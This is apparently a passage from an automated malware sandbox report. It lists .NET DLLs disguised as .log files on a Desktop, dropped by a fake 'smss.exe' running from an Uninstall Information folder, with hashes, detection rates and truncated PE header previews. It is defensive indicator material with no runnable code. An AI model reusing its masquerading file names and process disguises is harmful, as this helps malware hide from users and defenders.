                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\HHTkwVXM.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\HIpNgqWJ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\HcPBaEHS.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\HdldKaGP.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\HgfAZqyv.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\IBCLIEHl.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\IBwMQtoS.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\IsIaGzVN.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):70144
                                                    Entropy (8bit):5.909536568846014
                                                    Encrypted:false
                                                    SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                    MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                    SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                    SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                    SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 29%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\JJBKftVy.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\JJGTREbI.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\JUiTFEgk.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\JgNirMRL.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 25%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\KDfbGRAO.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 38%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\KFtuhByL.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\KxKbDRXG.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 50%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\LCQsRpHx.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 9%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\LSGshBHL.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 50%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\LXUCbnlf.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\LuLvCpZR.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 9%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\MLYKMAhd.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 12%
